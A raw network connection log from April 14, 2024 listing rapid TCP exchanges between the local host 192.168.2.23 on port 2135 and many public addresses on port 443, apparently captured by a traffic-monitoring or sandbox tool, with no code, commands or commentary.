Apr 14, 2024 03:59:53.104937077 CEST	2135	443	192.168.2.23	123.242.155.64
Apr 14, 2024 03:59:53.104938984 CEST	2135	443	192.168.2.23	37.172.200.219
Apr 14, 2024 03:59:53.104938984 CEST	443	2135	212.69.103.247	192.168.2.23
Apr 14, 2024 03:59:53.104938984 CEST	2135	443	192.168.2.23	118.103.2.163
Apr 14, 2024 03:59:53.104938984 CEST	2135	443	192.168.2.23	123.104.4.193
Apr 14, 2024 03:59:53.104943037 CEST	2135	443	192.168.2.23	123.158.163.212
Apr 14, 2024 03:59:53.104948997 CEST	443	2135	37.172.200.219	192.168.2.23
Apr 14, 2024 03:59:53.104958057 CEST	2135	443	192.168.2.23	2.178.253.108
Apr 14, 2024 03:59:53.104959011 CEST	2135	443	192.168.2.23	2.171.250.237
Apr 14, 2024 03:59:53.104975939 CEST	2135	443	192.168.2.23	117.224.154.33
Apr 14, 2024 03:59:53.104976892 CEST	2135	443	192.168.2.23	212.138.77.227
Apr 14, 2024 03:59:53.104978085 CEST	2135	443	192.168.2.23	212.77.239.34
Apr 14, 2024 03:59:53.104983091 CEST	2135	443	192.168.2.23	42.202.251.223
Apr 14, 2024 03:59:53.104983091 CEST	443	2135	212.138.77.227	192.168.2.23
Apr 14, 2024 03:59:53.104983091 CEST	2135	443	192.168.2.23	5.164.66.45
Apr 14, 2024 03:59:53.104984999 CEST	443	2135	212.77.239.34	192.168.2.23
Apr 14, 2024 03:59:53.104984999 CEST	2135	443	192.168.2.23	37.172.200.219
Apr 14, 2024 03:59:53.104986906 CEST	2135	443	192.168.2.23	109.8.138.104
Apr 14, 2024 03:59:53.104991913 CEST	443	2135	109.8.138.104	192.168.2.23
Apr 14, 2024 03:59:53.104993105 CEST	443	2135	42.202.251.223	192.168.2.23
Apr 14, 2024 03:59:53.104998112 CEST	2135	443	192.168.2.23	94.204.163.17
Apr 14, 2024 03:59:53.105000019 CEST	2135	443	192.168.2.23	212.69.103.247
Apr 14, 2024 03:59:53.105000019 CEST	2135	443	192.168.2.23	178.215.122.230
Apr 14, 2024 03:59:53.105000019 CEST	2135	443	192.168.2.23	202.44.31.222
Apr 14, 2024 03:59:53.105005026 CEST	443	2135	94.204.163.17	192.168.2.23
Apr 14, 2024 03:59:53.105010986 CEST	443	2135	178.215.122.230	192.168.2.23
Apr 14, 2024 03:59:53.105014086 CEST	2135	443	192.168.2.23	212.138.77.227
Apr 14, 2024 03:59:53.105014086 CEST	2135	443	192.168.2.23	109.44.71.152
Apr 14, 2024 03:59:53.105019093 CEST	443	2135	202.44.31.222	192.168.2.23
Apr 14, 2024 03:59:53.105020046 CEST	2135	443	192.168.2.23	212.77.239.34
Apr 14, 2024 03:59:53.105021000 CEST	2135	443	192.168.2.23	148.110.57.211
Apr 14, 2024 03:59:53.105021000 CEST	2135	443	192.168.2.23	42.202.251.223
Apr 14, 2024 03:59:53.105024099 CEST	443	2135	109.44.71.152	192.168.2.23
Apr 14, 2024 03:59:53.105026960 CEST	443	2135	148.110.57.211	192.168.2.23
Apr 14, 2024 03:59:53.105026960 CEST	2135	443	192.168.2.23	2.232.195.129
Apr 14, 2024 03:59:53.105031967 CEST	2135	443	192.168.2.23	123.30.213.104
Apr 14, 2024 03:59:53.105036020 CEST	443	2135	2.232.195.129	192.168.2.23
Apr 14, 2024 03:59:53.105040073 CEST	2135	443	192.168.2.23	94.204.163.17
Apr 14, 2024 03:59:53.105042934 CEST	443	2135	123.30.213.104	192.168.2.23
Apr 14, 2024 03:59:53.105042934 CEST	2135	443	192.168.2.23	109.8.138.104
Apr 14, 2024 03:59:53.105051994 CEST	2135	443	192.168.2.23	148.110.57.211
Apr 14, 2024 03:59:53.105060101 CEST	2135	443	192.168.2.23	109.44.71.152
Apr 14, 2024 03:59:53.105063915 CEST	2135	443	192.168.2.23	2.232.195.129
Apr 14, 2024 03:59:53.105066061 CEST	2135	443	192.168.2.23	178.215.122.230
Apr 14, 2024 03:59:53.105066061 CEST	2135	443	192.168.2.23	202.44.31.222
Apr 14, 2024 03:59:53.105081081 CEST	2135	443	192.168.2.23	123.30.213.104
Apr 14, 2024 03:59:53.105087996 CEST	2135	443	192.168.2.23	109.52.42.213
Apr 14, 2024 03:59:53.105088949 CEST	2135	443	192.168.2.23	212.143.191.22
Apr 14, 2024 03:59:53.105092049 CEST	443	2135	109.52.42.213	192.168.2.23
Apr 14, 2024 03:59:53.105093956 CEST	443	2135	212.143.191.22	192.168.2.23
Apr 14, 2024 03:59:53.105099916 CEST	2135	443	192.168.2.23	123.235.31.78
Apr 14, 2024 03:59:53.105099916 CEST	2135	443	192.168.2.23	117.5.174.143
Apr 14, 2024 03:59:53.105103016 CEST	2135	443	192.168.2.23	109.231.227.50
Apr 14, 2024 03:59:53.105106115 CEST	443	2135	123.235.31.78	192.168.2.23
Apr 14, 2024 03:59:53.105110884 CEST	443	2135	109.231.227.50	192.168.2.23
Apr 14, 2024 03:59:53.105114937 CEST	443	2135	117.5.174.143	192.168.2.23
Apr 14, 2024 03:59:53.105124950 CEST	2135	443	192.168.2.23	178.171.86.98
Apr 14, 2024 03:59:53.105124950 CEST	2135	443	192.168.2.23	109.79.127.255
Apr 14, 2024 03:59:53.105125904 CEST	2135	443	192.168.2.23	94.235.207.196
Apr 14, 2024 03:59:53.105129004 CEST	2135	443	192.168.2.23	109.52.42.213
Apr 14, 2024 03:59:53.105130911 CEST	443	2135	178.171.86.98	192.168.2.23
Apr 14, 2024 03:59:53.105130911 CEST	2135	443	192.168.2.23	212.143.191.22
Apr 14, 2024 03:59:53.105134010 CEST	2135	443	192.168.2.23	109.231.227.50
Apr 14, 2024 03:59:53.105134010 CEST	443	2135	94.235.207.196	192.168.2.23
Apr 14, 2024 03:59:53.105139017 CEST	443	2135	109.79.127.255	192.168.2.23
Apr 14, 2024 03:59:53.105149984 CEST	2135	443	192.168.2.23	123.235.31.78
Apr 14, 2024 03:59:53.105149984 CEST	2135	443	192.168.2.23	117.5.174.143
Apr 14, 2024 03:59:53.105149984 CEST	2135	443	192.168.2.23	2.139.189.93
Apr 14, 2024 03:59:53.105156898 CEST	2135	443	192.168.2.23	94.72.201.250
Apr 14, 2024 03:59:53.105159998 CEST	443	2135	2.139.189.93	192.168.2.23
Apr 14, 2024 03:59:53.105165005 CEST	443	2135	94.72.201.250	192.168.2.23
Apr 14, 2024 03:59:53.105166912 CEST	2135	443	192.168.2.23	117.154.142.218
Apr 14, 2024 03:59:53.105174065 CEST	443	2135	117.154.142.218	192.168.2.23
Apr 14, 2024 03:59:53.105179071 CEST	2135	443	192.168.2.23	178.171.86.98
Apr 14, 2024 03:59:53.105179071 CEST	2135	443	192.168.2.23	94.235.207.196
Apr 14, 2024 03:59:53.105179071 CEST	2135	443	192.168.2.23	109.79.127.255
Apr 14, 2024 03:59:53.105181932 CEST	2135	443	192.168.2.23	109.236.166.247
Apr 14, 2024 03:59:53.105187893 CEST	443	2135	109.236.166.247	192.168.2.23
Apr 14, 2024 03:59:53.105195045 CEST	2135	443	192.168.2.23	94.255.212.16
Apr 14, 2024 03:59:53.105201006 CEST	443	2135	94.255.212.16	192.168.2.23
Apr 14, 2024 03:59:53.105201960 CEST	2135	443	192.168.2.23	2.139.189.93
Apr 14, 2024 03:59:53.105216026 CEST	2135	443	192.168.2.23	117.154.142.218
Apr 14, 2024 03:59:53.105230093 CEST	2135	443	192.168.2.23	109.236.166.247
Apr 14, 2024 03:59:53.105232954 CEST	2135	443	192.168.2.23	42.160.222.67
Apr 14, 2024 03:59:53.105232954 CEST	2135	443	192.168.2.23	148.145.63.169
Apr 14, 2024 03:59:53.105236053 CEST	2135	443	192.168.2.23	94.72.201.250
Apr 14, 2024 03:59:53.105237007 CEST	2135	443	192.168.2.23	2.201.92.88
Apr 14, 2024 03:59:53.105238914 CEST	2135	443	192.168.2.23	178.137.253.223
Apr 14, 2024 03:59:53.105240107 CEST	443	2135	42.160.222.67	192.168.2.23
Apr 14, 2024 03:59:53.105245113 CEST	443	2135	178.137.253.223	192.168.2.23
Apr 14, 2024 03:59:53.105245113 CEST	443	2135	2.201.92.88	192.168.2.23
Apr 14, 2024 03:59:53.105248928 CEST	443	2135	148.145.63.169	192.168.2.23
Apr 14, 2024 03:59:53.105257988 CEST	2135	443	192.168.2.23	178.230.135.225
Apr 14, 2024 03:59:53.105261087 CEST	2135	443	192.168.2.23	94.255.212.16
Apr 14, 2024 03:59:53.105257988 CEST	2135	443	192.168.2.23	2.77.3.128
Apr 14, 2024 03:59:53.105269909 CEST	2135	443	192.168.2.23	42.128.245.124
Apr 14, 2024 03:59:53.105271101 CEST	443	2135	178.230.135.225	192.168.2.23
Apr 14, 2024 03:59:53.105273008 CEST	2135	443	192.168.2.23	123.68.116.216
Apr 14, 2024 03:59:53.105276108 CEST	2135	443	192.168.2.23	42.160.222.67
Apr 14, 2024 03:59:53.105278015 CEST	443	2135	42.128.245.124	192.168.2.23
Apr 14, 2024 03:59:53.105283022 CEST	443	2135	123.68.116.216	192.168.2.23
Apr 14, 2024 03:59:53.105283976 CEST	443	2135	2.77.3.128	192.168.2.23
Apr 14, 2024 03:59:53.105285883 CEST	2135	443	192.168.2.23	178.137.253.223
Apr 14, 2024 03:59:53.105287075 CEST	2135	443	192.168.2.23	148.145.63.169
Apr 14, 2024 03:59:53.105304003 CEST	2135	443	192.168.2.23	2.201.92.88
Apr 14, 2024 03:59:53.105305910 CEST	2135	443	192.168.2.23	178.230.135.225
Apr 14, 2024 03:59:53.105308056 CEST	2135	443	192.168.2.23	5.27.74.3
Apr 14, 2024 03:59:53.105308056 CEST	2135	443	192.168.2.23	202.167.113.173
Apr 14, 2024 03:59:53.105309963 CEST	2135	443	192.168.2.23	79.201.200.17
Apr 14, 2024 03:59:53.105315924 CEST	443	2135	5.27.74.3	192.168.2.23
Apr 14, 2024 03:59:53.105315924 CEST	2135	443	192.168.2.23	5.238.213.26
Apr 14, 2024 03:59:53.105318069 CEST	443	2135	79.201.200.17	192.168.2.23
Apr 14, 2024 03:59:53.105326891 CEST	443	2135	202.167.113.173	192.168.2.23
Apr 14, 2024 03:59:53.105326891 CEST	2135	443	192.168.2.23	79.57.38.238
Apr 14, 2024 03:59:53.105326891 CEST	2135	443	192.168.2.23	37.22.92.188
Apr 14, 2024 03:59:53.105331898 CEST	2135	443	192.168.2.23	42.128.245.124
Apr 14, 2024 03:59:53.105331898 CEST	2135	443	192.168.2.23	123.103.161.138
Apr 14, 2024 03:59:53.105334997 CEST	443	2135	5.238.213.26	192.168.2.23
Apr 14, 2024 03:59:53.105334997 CEST	443	2135	79.57.38.238	192.168.2.23
Apr 14, 2024 03:59:53.105335951 CEST	2135	443	192.168.2.23	123.68.116.216
Apr 14, 2024 03:59:53.105341911 CEST	443	2135	123.103.161.138	192.168.2.23
Apr 14, 2024 03:59:53.105341911 CEST	2135	443	192.168.2.23	2.77.3.128
Apr 14, 2024 03:59:53.105349064 CEST	443	2135	37.22.92.188	192.168.2.23
Apr 14, 2024 03:59:53.105350971 CEST	2135	443	192.168.2.23	109.142.203.91
Apr 14, 2024 03:59:53.105355024 CEST	2135	443	192.168.2.23	79.201.200.17
Apr 14, 2024 03:59:53.105355978 CEST	443	2135	109.142.203.91	192.168.2.23
Apr 14, 2024 03:59:53.105365992 CEST	2135	443	192.168.2.23	5.228.167.65
Apr 14, 2024 03:59:53.105367899 CEST	2135	443	192.168.2.23	210.247.209.112
Apr 14, 2024 03:59:53.105370045 CEST	2135	443	192.168.2.23	79.57.38.238
Apr 14, 2024 03:59:53.105367899 CEST	2135	443	192.168.2.23	117.197.91.232
Apr 14, 2024 03:59:53.105370045 CEST	2135	443	192.168.2.23	37.22.92.188
Apr 14, 2024 03:59:53.105367899 CEST	2135	443	192.168.2.23	79.249.68.138
Apr 14, 2024 03:59:53.105367899 CEST	2135	443	192.168.2.23	5.27.74.3
Apr 14, 2024 03:59:53.105372906 CEST	2135	443	192.168.2.23	5.238.213.26
Apr 14, 2024 03:59:53.105367899 CEST	2135	443	192.168.2.23	202.167.113.173
Apr 14, 2024 03:59:53.105375051 CEST	443	2135	5.228.167.65	192.168.2.23
Apr 14, 2024 03:59:53.105384111 CEST	443	2135	210.247.209.112	192.168.2.23
Apr 14, 2024 03:59:53.105391026 CEST	2135	443	192.168.2.23	118.107.168.7
Apr 14, 2024 03:59:53.105391026 CEST	2135	443	192.168.2.23	109.142.203.91
Apr 14, 2024 03:59:53.105391979 CEST	2135	443	192.168.2.23	123.103.161.138
Apr 14, 2024 03:59:53.105393887 CEST	443	2135	117.197.91.232	192.168.2.23
Apr 14, 2024 03:59:53.105396986 CEST	2135	443	192.168.2.23	118.219.173.42
Apr 14, 2024 03:59:53.105397940 CEST	2135	443	192.168.2.23	42.85.199.175
Apr 14, 2024 03:59:53.105400085 CEST	443	2135	118.107.168.7	192.168.2.23
Apr 14, 2024 03:59:53.105408907 CEST	443	2135	79.249.68.138	192.168.2.23
Apr 14, 2024 03:59:53.105406046 CEST	443	2135	118.219.173.42	192.168.2.23
Apr 14, 2024 03:59:53.105420113 CEST	2135	443	192.168.2.23	210.247.209.112
Apr 14, 2024 03:59:53.105420113 CEST	2135	443	192.168.2.23	117.197.91.232
Apr 14, 2024 03:59:53.105421066 CEST	443	2135	42.85.199.175	192.168.2.23
Apr 14, 2024 03:59:53.105428934 CEST	2135	443	192.168.2.23	118.107.168.7
Apr 14, 2024 03:59:53.105432987 CEST	2135	443	192.168.2.23	5.228.167.65
Apr 14, 2024 03:59:53.105432987 CEST	2135	443	192.168.2.23	202.5.177.72
Apr 14, 2024 03:59:53.105444908 CEST	443	2135	202.5.177.72	192.168.2.23
Apr 14, 2024 03:59:53.105449915 CEST	2135	443	192.168.2.23	118.219.173.42
Apr 14, 2024 03:59:53.105449915 CEST	2135	443	192.168.2.23	42.85.199.175
Apr 14, 2024 03:59:53.105458021 CEST	2135	443	192.168.2.23	148.6.212.190
Apr 14, 2024 03:59:53.105464935 CEST	443	2135	148.6.212.190	192.168.2.23
Apr 14, 2024 03:59:53.105468035 CEST	2135	443	192.168.2.23	79.177.87.76
Apr 14, 2024 03:59:53.105470896 CEST	2135	443	192.168.2.23	202.132.233.1
Apr 14, 2024 03:59:53.105473995 CEST	443	2135	79.177.87.76	192.168.2.23
Apr 14, 2024 03:59:53.105477095 CEST	443	2135	202.132.233.1	192.168.2.23
Apr 14, 2024 03:59:53.105490923 CEST	2135	443	192.168.2.23	79.249.68.138
Apr 14, 2024 03:59:53.105490923 CEST	2135	443	192.168.2.23	79.53.16.59
Apr 14, 2024 03:59:53.105490923 CEST	2135	443	192.168.2.23	2.88.175.235
Apr 14, 2024 03:59:53.105494022 CEST	2135	443	192.168.2.23	118.239.198.84
Apr 14, 2024 03:59:53.105496883 CEST	2135	443	192.168.2.23	148.6.212.190
Apr 14, 2024 03:59:53.105499983 CEST	443	2135	79.53.16.59	192.168.2.23
Apr 14, 2024 03:59:53.105500937 CEST	443	2135	118.239.198.84	192.168.2.23
Apr 14, 2024 03:59:53.105509043 CEST	443	2135	2.88.175.235	192.168.2.23
Apr 14, 2024 03:59:53.105513096 CEST	2135	443	192.168.2.23	202.132.233.1
Apr 14, 2024 03:59:53.105515003 CEST	2135	443	192.168.2.23	79.177.87.76
Apr 14, 2024 03:59:53.105520964 CEST	2135	443	192.168.2.23	202.5.177.72
Apr 14, 2024 03:59:53.105520964 CEST	2135	443	192.168.2.23	79.108.146.195
Apr 14, 2024 03:59:53.105525017 CEST	2135	443	192.168.2.23	117.60.122.199
Apr 14, 2024 03:59:53.105530977 CEST	443	2135	117.60.122.199	192.168.2.23
Apr 14, 2024 03:59:53.105530977 CEST	443	2135	79.108.146.195	192.168.2.23
Apr 14, 2024 03:59:53.105535030 CEST	2135	443	192.168.2.23	2.55.178.108
Apr 14, 2024 03:59:53.105535984 CEST	2135	443	192.168.2.23	2.174.76.176
Apr 14, 2024 03:59:53.105545044 CEST	443	2135	2.55.178.108	192.168.2.23
Apr 14, 2024 03:59:53.105545044 CEST	2135	443	192.168.2.23	94.255.112.24
Apr 14, 2024 03:59:53.105545044 CEST	2135	443	192.168.2.23	178.171.172.211
Apr 14, 2024 03:59:53.105550051 CEST	443	2135	2.174.76.176	192.168.2.23
Apr 14, 2024 03:59:53.105551958 CEST	443	2135	94.255.112.24	192.168.2.23
Apr 14, 2024 03:59:53.105555058 CEST	2135	443	192.168.2.23	2.165.108.191
Apr 14, 2024 03:59:53.105555058 CEST	2135	443	192.168.2.23	210.32.52.170
Apr 14, 2024 03:59:53.105559111 CEST	2135	443	192.168.2.23	118.239.198.84
Apr 14, 2024 03:59:53.105560064 CEST	443	2135	178.171.172.211	192.168.2.23
Apr 14, 2024 03:59:53.105561018 CEST	2135	443	192.168.2.23	42.213.244.179
Apr 14, 2024 03:59:53.105565071 CEST	443	2135	2.165.108.191	192.168.2.23
Apr 14, 2024 03:59:53.105566978 CEST	443	2135	42.213.244.179	192.168.2.23
Apr 14, 2024 03:59:53.105568886 CEST	2135	443	192.168.2.23	42.157.164.13
Apr 14, 2024 03:59:53.105576038 CEST	443	2135	42.157.164.13	192.168.2.23
Apr 14, 2024 03:59:53.105576038 CEST	2135	443	192.168.2.23	210.76.35.186
Apr 14, 2024 03:59:53.105576038 CEST	2135	443	192.168.2.23	117.60.122.199
Apr 14, 2024 03:59:53.105583906 CEST	443	2135	210.76.35.186	192.168.2.23
Apr 14, 2024 03:59:53.105583906 CEST	443	2135	210.32.52.170	192.168.2.23
Apr 14, 2024 03:59:53.105583906 CEST	2135	443	192.168.2.23	2.55.178.108
Apr 14, 2024 03:59:53.105591059 CEST	2135	443	192.168.2.23	178.171.172.211
Apr 14, 2024 03:59:53.105595112 CEST	2135	443	192.168.2.23	94.255.112.24
Apr 14, 2024 03:59:53.105601072 CEST	2135	443	192.168.2.23	42.213.244.179
Apr 14, 2024 03:59:53.105602980 CEST	2135	443	192.168.2.23	42.157.164.13
Apr 14, 2024 03:59:53.105602980 CEST	2135	443	192.168.2.23	2.165.108.191
Apr 14, 2024 03:59:53.105612993 CEST	2135	443	192.168.2.23	2.120.213.90
Apr 14, 2024 03:59:53.105616093 CEST	2135	443	192.168.2.23	210.76.35.186
Apr 14, 2024 03:59:53.105618000 CEST	443	2135	2.120.213.90	192.168.2.23
Apr 14, 2024 03:59:53.105628014 CEST	2135	443	192.168.2.23	79.108.146.195
Apr 14, 2024 03:59:53.105628967 CEST	2135	443	192.168.2.23	79.53.16.59
Apr 14, 2024 03:59:53.105628967 CEST	2135	443	192.168.2.23	2.88.175.235
Apr 14, 2024 03:59:53.105628967 CEST	2135	443	192.168.2.23	2.174.76.176
Apr 14, 2024 03:59:53.105628967 CEST	2135	443	192.168.2.23	212.68.126.154
Apr 14, 2024 03:59:53.105635881 CEST	2135	443	192.168.2.23	210.32.52.170
Apr 14, 2024 03:59:53.105639935 CEST	443	2135	212.68.126.154	192.168.2.23
Apr 14, 2024 03:59:53.105653048 CEST	2135	443	192.168.2.23	5.92.165.16
Apr 14, 2024 03:59:53.105654955 CEST	2135	443	192.168.2.23	148.84.107.60
Apr 14, 2024 03:59:53.105654955 CEST	2135	443	192.168.2.23	79.16.120.59
Apr 14, 2024 03:59:53.105654955 CEST	2135	443	192.168.2.23	178.129.4.250
Apr 14, 2024 03:59:53.105659962 CEST	443	2135	148.84.107.60	192.168.2.23
Apr 14, 2024 03:59:53.105659962 CEST	443	2135	5.92.165.16	192.168.2.23
Apr 14, 2024 03:59:53.105663061 CEST	443	2135	79.16.120.59	192.168.2.23
Apr 14, 2024 03:59:53.105675936 CEST	2135	443	192.168.2.23	2.120.213.90
Apr 14, 2024 03:59:53.105678082 CEST	443	2135	178.129.4.250	192.168.2.23
Apr 14, 2024 03:59:53.105693102 CEST	2135	443	192.168.2.23	37.141.28.200
Apr 14, 2024 03:59:53.105693102 CEST	2135	443	192.168.2.23	202.51.124.30
Apr 14, 2024 03:59:53.105696917 CEST	2135	443	192.168.2.23	148.84.107.60
Apr 14, 2024 03:59:53.105703115 CEST	443	2135	37.141.28.200	192.168.2.23
Apr 14, 2024 03:59:53.105715036 CEST	2135	443	192.168.2.23	42.231.158.107
Apr 14, 2024 03:59:53.105715990 CEST	443	2135	202.51.124.30	192.168.2.23
Apr 14, 2024 03:59:53.105717897 CEST	2135	443	192.168.2.23	5.25.123.78
Apr 14, 2024 03:59:53.105720997 CEST	443	2135	42.231.158.107	192.168.2.23
Apr 14, 2024 03:59:53.105725050 CEST	443	2135	5.25.123.78	192.168.2.23
Apr 14, 2024 03:59:53.105729103 CEST	2135	443	192.168.2.23	5.92.165.16
Apr 14, 2024 03:59:53.105729103 CEST	2135	443	192.168.2.23	42.164.67.156
Apr 14, 2024 03:59:53.105730057 CEST	2135	443	192.168.2.23	118.189.241.152
Apr 14, 2024 03:59:53.105730057 CEST	2135	443	192.168.2.23	5.81.138.113
Apr 14, 2024 03:59:53.105731964 CEST	2135	443	192.168.2.23	79.16.120.59
Apr 14, 2024 03:59:53.105731964 CEST	2135	443	192.168.2.23	178.129.4.250
Apr 14, 2024 03:59:53.105731964 CEST	2135	443	192.168.2.23	118.187.202.253
Apr 14, 2024 03:59:53.105740070 CEST	443	2135	118.189.241.152	192.168.2.23
Apr 14, 2024 03:59:53.105741024 CEST	443	2135	42.164.67.156	192.168.2.23
Apr 14, 2024 03:59:53.105748892 CEST	443	2135	118.187.202.253	192.168.2.23
Apr 14, 2024 03:59:53.105748892 CEST	2135	443	192.168.2.23	37.9.254.218
Apr 14, 2024 03:59:53.105748892 CEST	2135	443	192.168.2.23	178.135.3.163
Apr 14, 2024 03:59:53.105751038 CEST	2135	443	192.168.2.23	123.2.187.235
Apr 14, 2024 03:59:53.105755091 CEST	443	2135	5.81.138.113	192.168.2.23
Apr 14, 2024 03:59:53.105756044 CEST	2135	443	192.168.2.23	37.141.28.200
Apr 14, 2024 03:59:53.105757952 CEST	443	2135	37.9.254.218	192.168.2.23
Apr 14, 2024 03:59:53.105758905 CEST	443	2135	123.2.187.235	192.168.2.23
Apr 14, 2024 03:59:53.105765104 CEST	2135	443	192.168.2.23	202.51.124.30
Apr 14, 2024 03:59:53.105768919 CEST	443	2135	178.135.3.163	192.168.2.23
Apr 14, 2024 03:59:53.105775118 CEST	2135	443	192.168.2.23	42.231.158.107
Apr 14, 2024 03:59:53.105777979 CEST	2135	443	192.168.2.23	42.164.67.156
Apr 14, 2024 03:59:53.105782986 CEST	2135	443	192.168.2.23	118.189.241.152
Apr 14, 2024 03:59:53.105782986 CEST	2135	443	192.168.2.23	5.25.123.78
Apr 14, 2024 03:59:53.105784893 CEST	2135	443	192.168.2.23	123.2.187.235
Apr 14, 2024 03:59:53.105791092 CEST	2135	443	192.168.2.23	5.81.138.113
Apr 14, 2024 03:59:53.105807066 CEST	2135	443	192.168.2.23	212.68.126.154
Apr 14, 2024 03:59:53.105807066 CEST	2135	443	192.168.2.23	118.187.202.253
Apr 14, 2024 03:59:53.105808973 CEST	2135	443	192.168.2.23	148.201.169.203
Apr 14, 2024 03:59:53.105812073 CEST	2135	443	192.168.2.23	37.9.254.218
Apr 14, 2024 03:59:53.105813980 CEST	443	2135	148.201.169.203	192.168.2.23
Apr 14, 2024 03:59:53.105819941 CEST	2135	443	192.168.2.23	123.156.67.36
Apr 14, 2024 03:59:53.105828047 CEST	443	2135	123.156.67.36	192.168.2.23
Apr 14, 2024 03:59:53.105829000 CEST	2135	443	192.168.2.23	42.222.187.196
Apr 14, 2024 03:59:53.105832100 CEST	2135	443	192.168.2.23	178.135.3.163
Apr 14, 2024 03:59:53.105834007 CEST	2135	443	192.168.2.23	2.108.98.11
Apr 14, 2024 03:59:53.105835915 CEST	443	2135	42.222.187.196	192.168.2.23
Apr 14, 2024 03:59:53.105839014 CEST	443	2135	2.108.98.11	192.168.2.23
Apr 14, 2024 03:59:53.105851889 CEST	2135	443	192.168.2.23	148.201.169.203
Apr 14, 2024 03:59:53.105851889 CEST	2135	443	192.168.2.23	94.137.111.99
Apr 14, 2024 03:59:53.105853081 CEST	2135	443	192.168.2.23	2.135.225.63
Apr 14, 2024 03:59:53.105850935 CEST	2135	443	192.168.2.23	79.19.77.132
Apr 14, 2024 03:59:53.105850935 CEST	2135	443	192.168.2.23	2.184.60.100
Apr 14, 2024 03:59:53.105856895 CEST	2135	443	192.168.2.23	37.10.87.222
Apr 14, 2024 03:59:53.105861902 CEST	443	2135	2.135.225.63	192.168.2.23
Apr 14, 2024 03:59:53.105863094 CEST	443	2135	79.19.77.132	192.168.2.23
Apr 14, 2024 03:59:53.105863094 CEST	2135	443	192.168.2.23	123.172.120.180
Apr 14, 2024 03:59:53.105865002 CEST	443	2135	94.137.111.99	192.168.2.23
Apr 14, 2024 03:59:53.105866909 CEST	2135	443	192.168.2.23	2.108.98.11
Apr 14, 2024 03:59:53.105870008 CEST	443	2135	37.10.87.222	192.168.2.23
Apr 14, 2024 03:59:53.105870008 CEST	443	2135	123.172.120.180	192.168.2.23
Apr 14, 2024 03:59:53.105870962 CEST	2135	443	192.168.2.23	123.156.67.36
Apr 14, 2024 03:59:53.105870962 CEST	2135	443	192.168.2.23	123.65.156.118
Apr 14, 2024 03:59:53.105879068 CEST	443	2135	123.65.156.118	192.168.2.23
Apr 14, 2024 03:59:53.105880022 CEST	443	2135	2.184.60.100	192.168.2.23
Apr 14, 2024 03:59:53.105885983 CEST	2135	443	192.168.2.23	123.49.161.157
Apr 14, 2024 03:59:53.105890036 CEST	2135	443	192.168.2.23	42.222.187.196
Apr 14, 2024 03:59:53.105890036 CEST	2135	443	192.168.2.23	202.131.22.224
Apr 14, 2024 03:59:53.105890036 CEST	2135	443	192.168.2.23	123.129.202.234
Apr 14, 2024 03:59:53.105895042 CEST	443	2135	123.49.161.157	192.168.2.23
Apr 14, 2024 03:59:53.105897903 CEST	2135	443	192.168.2.23	37.10.87.222
Apr 14, 2024 03:59:53.105906010 CEST	2135	443	192.168.2.23	79.19.77.132
Apr 14, 2024 03:59:53.105906963 CEST	443	2135	202.131.22.224	192.168.2.23
Apr 14, 2024 03:59:53.105915070 CEST	2135	443	192.168.2.23	2.135.225.63
Apr 14, 2024 03:59:53.105915070 CEST	2135	443	192.168.2.23	94.137.111.99
Apr 14, 2024 03:59:53.105918884 CEST	443	2135	123.129.202.234	192.168.2.23
Apr 14, 2024 03:59:53.105927944 CEST	2135	443	192.168.2.23	123.49.161.157
Apr 14, 2024 03:59:53.105932951 CEST	2135	443	192.168.2.23	123.172.120.180
Apr 14, 2024 03:59:53.105932951 CEST	2135	443	192.168.2.23	202.131.22.224
Apr 14, 2024 03:59:53.105935097 CEST	2135	443	192.168.2.23	123.141.70.113
Apr 14, 2024 03:59:53.105940104 CEST	2135	443	192.168.2.23	123.65.156.118
Apr 14, 2024 03:59:53.105941057 CEST	2135	443	192.168.2.23	2.184.60.100
Apr 14, 2024 03:59:53.105941057 CEST	2135	443	192.168.2.23	79.230.235.145
Apr 14, 2024 03:59:53.105943918 CEST	443	2135	123.141.70.113	192.168.2.23
Apr 14, 2024 03:59:53.105947018 CEST	2135	443	192.168.2.23	148.79.120.58
Apr 14, 2024 03:59:53.105948925 CEST	443	2135	79.230.235.145	192.168.2.23
Apr 14, 2024 03:59:53.105953932 CEST	2135	443	192.168.2.23	123.129.202.234
Apr 14, 2024 03:59:53.105954885 CEST	443	2135	148.79.120.58	192.168.2.23
Apr 14, 2024 03:59:53.105958939 CEST	2135	443	192.168.2.23	212.105.19.233
Apr 14, 2024 03:59:53.105967045 CEST	443	2135	212.105.19.233	192.168.2.23
Apr 14, 2024 03:59:53.105976105 CEST	2135	443	192.168.2.23	123.141.70.113
Apr 14, 2024 03:59:53.105993986 CEST	2135	443	192.168.2.23	79.172.232.220
Apr 14, 2024 03:59:53.105993986 CEST	2135	443	192.168.2.23	79.230.235.145
Apr 14, 2024 03:59:53.105994940 CEST	2135	443	192.168.2.23	148.79.120.58
Apr 14, 2024 03:59:53.105995893 CEST	2135	443	192.168.2.23	212.105.19.233
Apr 14, 2024 03:59:53.106003046 CEST	443	2135	79.172.232.220	192.168.2.23
Apr 14, 2024 03:59:53.106012106 CEST	2135	443	192.168.2.23	123.244.193.249
Apr 14, 2024 03:59:53.106019020 CEST	2135	443	192.168.2.23	178.94.132.164
Apr 14, 2024 03:59:53.106019974 CEST	443	2135	123.244.193.249	192.168.2.23
Apr 14, 2024 03:59:53.106028080 CEST	443	2135	178.94.132.164	192.168.2.23
Apr 14, 2024 03:59:53.106045008 CEST	2135	443	192.168.2.23	123.244.193.249
Apr 14, 2024 03:59:53.106045008 CEST	2135	443	192.168.2.23	79.196.14.174
Apr 14, 2024 03:59:53.106045008 CEST	2135	443	192.168.2.23	123.227.127.188
Apr 14, 2024 03:59:53.106045008 CEST	2135	443	192.168.2.23	178.82.55.238
Apr 14, 2024 03:59:53.106045008 CEST	2135	443	192.168.2.23	79.172.232.220
Apr 14, 2024 03:59:53.106048107 CEST	2135	443	192.168.2.23	178.53.87.159
Apr 14, 2024 03:59:53.106053114 CEST	443	2135	123.227.127.188	192.168.2.23
Apr 14, 2024 03:59:53.106053114 CEST	2135	443	192.168.2.23	5.16.96.143
Apr 14, 2024 03:59:53.106053114 CEST	443	2135	178.53.87.159	192.168.2.23
Apr 14, 2024 03:59:53.106056929 CEST	443	2135	79.196.14.174	192.168.2.23
Apr 14, 2024 03:59:53.106060028 CEST	2135	443	192.168.2.23	109.250.154.91
Apr 14, 2024 03:59:53.106061935 CEST	443	2135	5.16.96.143	192.168.2.23
Apr 14, 2024 03:59:53.106065035 CEST	443	2135	109.250.154.91	192.168.2.23
Apr 14, 2024 03:59:53.106065989 CEST	2135	443	192.168.2.23	178.94.132.164
